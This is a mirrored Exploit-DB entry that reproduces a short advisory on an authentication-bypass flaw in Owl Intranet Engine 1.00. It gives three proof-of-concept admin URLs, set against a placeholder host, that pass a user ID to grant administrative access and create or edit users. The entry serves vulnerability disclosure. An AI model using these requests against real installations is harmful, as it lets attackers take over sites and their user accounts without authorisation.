exploit-db-mirror/platforms/php/webapps/36456.txt
Offensive Security b3e4367446 DB: 2015-03-21
19 new exploits
2015-03-21 08:36:28 +00:00

11 lines
No EOL
529 B
Text
Executable file

source: http://www.securityfocus.com/bid/51076/info
Owl Intranet Engine is prone to an authentication-bypass vulnerability.
An attacker can exploit this issue to bypass the authentication process and gain administrative access to the application.
Owl Intranet Engine 1.00 is affected; other versions may also be vulnerable.
http://www.example.org/owl/admin/index.php?userid=1
http://www.example.org/owl/admin/index.php?userid=1&newuser
http://www.example.org/owl/admin/index.php?userid=1&action=edituser&owluser=1